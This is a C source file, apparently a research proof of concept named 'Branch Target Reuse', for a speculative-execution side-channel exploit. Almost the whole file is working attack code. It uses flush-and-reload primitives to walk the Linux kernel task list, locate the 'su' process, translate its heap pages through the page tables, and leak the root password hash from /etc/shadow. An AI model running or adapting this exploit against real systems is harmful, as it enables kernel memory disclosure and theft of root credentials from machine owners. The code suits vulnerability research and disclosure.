/*
 * Branch Target Reuse (BTR)
 * April 30th 2026
 * Sander Wiebing
 */

#define _GNU_SOURCE

#include <stdio.h>
#include <time.h>
#include <signal.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <syscall.h>
#include <sys/time.h>
#include <spawn.h>


#include "flush_and_reload.h"
#include "flush_and_reload_cb.h"
#include "targets.h"
#include "common.h"

#define TASK_LIST_HEAD_OFF  0xa00 // 2560
#define TASK_LIST_PREV_OFF  0xa08 // 2568
#define TASK_PID_OFF        0xad0 // 2768
#define TASK_COMM_OFF       0xcf0 // 3312
#define TASK_MM_OFF         0xa50 // 2640

#define MM_END_DATA_OFF     0x160
#define MM_START_BRK_OFF    0x168
#define MM_BRK_OFF          0x170
#define MM_PGD_OFF          0x78

#define PID 2354

uint64_t get_kernel_pointer(struct config * cfg, uint64_t address, uint32_t prefix, uint64_t alignment, uint64_t shift_left) {
    uint64_t ptr;
    while (1)
    {
        ptr = leak_64bit_value_forwards(cfg, (uint8_t *) address, 0x0);
        if (ptr != -1) {
            ptr = ptr << shift_left;
        }
        if (ptr == 0 || ptr == -1 || ptr & alignment || ((ptr & 0xffffff0000000000LLU) != ((uint64_t) cfg->phys_start & 0xffffff0000000000LLU))) {
            printf("Invalid kernel ptr: %#lx, trying again...\n", ptr);
            continue;
        } else {
            break;
        }
    }

    return ptr;
}

uint64_t get_user_pointer(struct config * cfg, uint64_t address, uint32_t prefix, uint64_t alignment, uint64_t shift_left) {
    uint64_t ptr;
    while (1)
    {
        ptr = leak_64bit_value_forwards(cfg, (uint8_t *) address, 0x0);
        if (ptr != -1) {
            ptr = ptr << shift_left;
        }
        if (ptr == 0 || ptr == -1 || ptr & alignment || ((ptr & 0xffff000000000000LLU) != 0x0)) { // 0xffff000000000000LLU
            printf("Invalid user ptr: %#lx, trying again...\n", ptr);
            continue;
        } else {
            break;
        }
    }

    return ptr;
}

uint64_t prev_pte_addr[4] = {0};
uint64_t prev_pte[4] = {0};
char * pt_names[] = {"pgd", "pud", "pmd", "pte"};

uint64_t get_pte(struct config * cfg, uint64_t level, uint64_t address, uint64_t shift_right) {
    uint64_t pte;

    if (address == prev_pte_addr[level]) {
        return prev_pte[level];
    }

    while (1)
    {
        pte = leak_64bit_value_forwards(cfg, (uint8_t *) address, 0x0);
        if (pte != -1) {
            pte = pte >> shift_right;
        }
        if (pte == -1) {
            printf("Invalid pte: %#lx, trying again...\n", pte);
            continue;
        } else {
            break;
        }
    }

    prev_pte_addr[level] = address;
    prev_pte[level] = pte;

    printf("|%9s: %#18lx; %6s*%3s: %#18lx\n", pt_names[level], address + (shift_right / 8), "", pt_names[level], pte);

    return pte;
}

#define PAGE_SHIFT 12
#define PTRS_PER_TABLE 512
#define ENTRY_SIZE 8

#define PGD_SHIFT 39
// #define P4D_SHIFT 39
#define PUD_SHIFT 30
#define PMD_SHIFT 21
#define PTE_SHIFT 12


#define PGD_INDEX(va) (((va) >> PGD_SHIFT) & 0x1ff)
#define PUD_INDEX(va) (((va) >> PUD_SHIFT) & 0x1ff)
#define PMD_INDEX(va) (((va) >> PMD_SHIFT) & 0x1ff)
#define PTE_INDEX(va) (((va) >> PTE_SHIFT) & 0x1ff)

#define PTE_PRESENT(e) ((e) & 1)
#define PTE_PFN(e)     ((e) & 0x000ffffffffff000ULL)
#define PTE_HUGE(e)    ((e) & (1ULL << 7))
unsigned long pte_t;

static inline uint64_t pfn_to_kva(struct config * cfg, uint64_t pfn)
{
    return (uint64_t) cfg->phys_start + (pfn << PAGE_SHIFT);
}

uint64_t get_kern_va_for_user_va(struct config * cfg, uint64_t mm_pgd, uint64_t va_user) {

    uint64_t pte, pte_addr, ret;
    printf("---%7s: %#18lx\n", "user", va_user);

    /* PGD - 0*/
    // printf("%10s: %#18lx\n", "user addr", va_user);
    pte_addr = mm_pgd + PGD_INDEX(va_user) * sizeof(pte_t);

    pte = get_pte(cfg, 0, pte_addr, 0);

    if (!PTE_PRESENT(pte))
        return 0;

    /* PUD - 1*/
    pte_addr = pfn_to_kva(cfg, pte >> PAGE_SHIFT) + PUD_INDEX(va_user) * sizeof(pte_t);
    pte = get_pte(cfg, 1, pte_addr, 0);

    if (!PTE_PRESENT(pte))
        return 0;

    if (PTE_HUGE(pte)) {
        ret = (uint64_t) cfg->phys_start;
        ret += (pte & ~((1ULL << PUD_SHIFT) - 1)) | (va_user & ((1ULL << PUD_SHIFT) - 1));
        return ret;
    }


    /* PMD - 2*/
    pte_addr = pfn_to_kva(cfg, pte >> PAGE_SHIFT) + PMD_INDEX(va_user) * sizeof(pte_t);
    pte = get_pte(cfg, 2, pte_addr, 0);

    if (!PTE_PRESENT(pte))
        return 0;

    /* PTE - 3*/
    pte_addr = pfn_to_kva(cfg, pte >> PAGE_SHIFT) + PTE_INDEX(va_user) * sizeof(pte_t);
    // we shift one right to ignore the NX bit (bit 63)
    pte = get_pte(cfg, 3, pte_addr - 1, 8);


    if (!PTE_PRESENT(pte))
        return 0;

    ret = (uint64_t) cfg->phys_start + (pte & ~0xfffULL) | (va_user & 0xfff);

    printf("|->%7s: %#18lx\n", "kernel", ret);

    return ret;

}

#define ITERATE_BACKWARDS

// Iterate over the task linked list and find target based on PID
uint64_t find_target_task_struct(struct config * cfg, int pid) {
    uint64_t list_head;
    int hits;
    int first = 1;
    uint64_t prev_pos, pos, task, pid_ref, comm_ref;
    int pid_test_iterations = cfg->constant_blind_safe ? 50 : 20;

    list_head = cfg->init_task_p + TASK_LIST_HEAD_OFF;

    printf("[+] We walk the task_list to find the 'su' process\n");


    printf("struct task_struct * init_task = %#18lx\n", list_head);

    prev_pos = list_head;
    while (1)
    {
    #ifdef ITERATE_BACKWARDS
        pos = leak_64bit_value_forwards(cfg, (uint8_t *) prev_pos + 8, (uint64_t) cfg->phys_start >> 40);
    #else
        pos = leak_64bit_value_forwards(cfg, (uint8_t *) prev_pos, 0x0);
    #endif

        if (pos == 0 || pos == -1 || pos & 0xf || ((pos & 0xffffff0000000000LLU) != ((uint64_t) cfg->phys_start & 0xffffff0000000000LLU))) {
            // printf("%lx\n", pos & 0xffffff0000000000LLU);
            printf("Invalid POS: 0x%lx, trying leaking again at 0x%lx...\n", pos, prev_pos + 8);
            continue;
        }

        if (pos == list_head) {
            printf("Back to list_head, we did not find target task_struct\n");
            exit(0);
        }

        task = pos - TASK_LIST_HEAD_OFF;
        pid_ref = task + TASK_PID_OFF;

        printf("struct task struct { pid = ..., tasks.prev = %#18lx }\n", task);

        hits = is_signature_at_address(cfg, pid, (uint8_t *) pid_ref, pid_test_iterations, 0);

        if (hits) {
            // printf("Found PID %d! Hits: %d/%d\n", pid, hits, pid_test_iterations);
            char * comm = "su\0";
            hits = is_signature_at_address(cfg, *(uint32_t *) comm, (uint8_t *) task + TASK_COMM_OFF, 50, 0);
            if (hits > 0) {

                if (cfg->constant_blind_safe == 1) {
                    // do extra check to rule out fp
                    hits = is_signature_at_address(cfg, *(uint32_t *) comm, (uint8_t *) task + TASK_COMM_OFF, 1000, 0);
                    printf("COMM %s Hits: %d/1000\n", comm, hits);
                    if (hits < 5) {
                        continue;
                    }
                }

                printf("Found PID %d with COMM %s! Hits: %d\n", pid, comm, hits);
                printf("struct task struct { pid = %d, comm = %s\n", pid, comm);

                return task;
            }
            // we are close, increase test iterations
            pid_test_iterations = 50;
        }

        prev_pos = pos;

    }
}

#define MAX_SHADOW_LENGTH 96

// Offsets within the page at which the root entry of the shadow file has been
// observed. Offset is stable accross boots and seems to be dependent on su version.
static const int shadow_page_offsets[] = {0xe8, 0xa88, 0x378};

#define NUM_SHADOW_PAGE_OFFSETS (sizeof(shadow_page_offsets) / sizeof(shadow_page_offsets[0]))

void * leak_shadow_hash(struct config * cfg) {
    struct timeval t0, t1;
    uint64_t delta_us;
    uint64_t task_struct, mm_struct, brk_start, brk_end, pgd;
    uint64_t user_addr, kern_addr, hits;
    if (cfg->constant_blind_safe == 0){
        set_load_chain_leak_secret(cfg);
    } else {
        cb_set_load_chain_leak_secret(cfg);
    }

    gettimeofday(&t0, NULL);

    int pid = cfg->pid_target;

    task_struct = find_target_task_struct(cfg, pid);
    // printf("%16s: %#18lx\n", "&task", task_struct);

    mm_struct = get_kernel_pointer(cfg, task_struct + TASK_MM_OFF, 0x0, 0xf, 0);
    // printf("%16s: %#18lx\n", "task.mm", mm_struct);
    // printf("struct task struct { pid = %d, comm = %s\n", pid, comm);
    // printf("(0xffff8881151f2c00) mm = {    mm.brk_start:     0x60290d66900");
    printf("(%#18lx) mm = {", mm_struct);
    fflush(stdout);

    // brk is page aligned ([0:8] == 0x0), previous value is a user pointer [47:63] == 0
    // So we borrow first bit of pointer for zero prefix
    brk_start = get_user_pointer(cfg, mm_struct + MM_START_BRK_OFF + 1, 0x0, 0xfff, 8);

    // printf("                             mm.brk_start = 0x60290d66900");
    // printf("(0xffff8881151f2c00) mm = {    mm.brk_start:     0x60290d66900");
    // printf("%16s: %#18lx\n", "mm.brk_start", brk_start);
    printf(" %9s = %#18lx\n", "start_brk", brk_start);


    brk_end = get_user_pointer(cfg, mm_struct + MM_BRK_OFF + 1, 0x0, 0xfff, 8);
    // printf("%16s: %#18lx\n", "mm.brk", brk_end);
    printf("                            %9s = %#18lx\n", "brk", brk_end);


    pgd = get_kernel_pointer(cfg, mm_struct + MM_PGD_OFF + 1, 0x0, 0xfff, 8);
    // printf("%16s: %#18lx\n", "mm.pgd", pgd);
    printf("                            %9s = %#18lx}};\n", "pgd", pgd);


    // get_pa_for_user_va(cfg, pgd, 0x59efd8782000);
    // get_pa_for_user_va(cfg, pgd, 0x59efd8782000);
    char *signature = "root\x0$y$";

    gettimeofday(&t1, NULL);
    delta_us = (t1.tv_sec - t0.tv_sec) * 1000000 + (t1.tv_usec - t0.tv_usec);
    printf("-> Task walk took: %4.1f seconds\n", (double) delta_us / 1000000);
    gettimeofday(&t0, NULL);

    for (user_addr = brk_end - 0x1000; user_addr > brk_start; user_addr -= PAGE_SIZE) {
        kern_addr = get_kern_va_for_user_va(cfg, pgd, user_addr);

        if (!kern_addr) {
            // printf("No entry for %#lx\n", user_addr);
            continue;
        }

        uint32_t prefix = *(uint32_t *) (signature);

        int shadow_page_offset = 0;
        hits = 0;

        for (size_t i = 0; i < NUM_SHADOW_PAGE_OFFSETS; i++) {
            shadow_page_offset = shadow_page_offsets[i];
            hits = is_signature_at_address(cfg, prefix, (uint8_t *) kern_addr + shadow_page_offset, 50, 0);
            if (hits) {
                break;
            }
        }

        if (hits) {
            printf("\nFound root at addr %#lx (user addr: %#lx) hits: %ld\n", kern_addr + shadow_page_offset, user_addr + shadow_page_offset, hits);

            char buf[MAX_SHADOW_LENGTH] = {0};

            printf("============================================================\n");
            printf("%c%c%c%c", signature[0], signature[1], signature[2], signature[3]);
            fflush(stdout);
            leak_n_bytes(cfg, buf, MAX_SHADOW_LENGTH, (uint8_t *) kern_addr + shadow_page_offset + 1, (prefix >> 8));
            printf("============================================================\n");
            fflush(stdout);
	        printf("Shadow leak completed\n");
            break;
        }
    }

}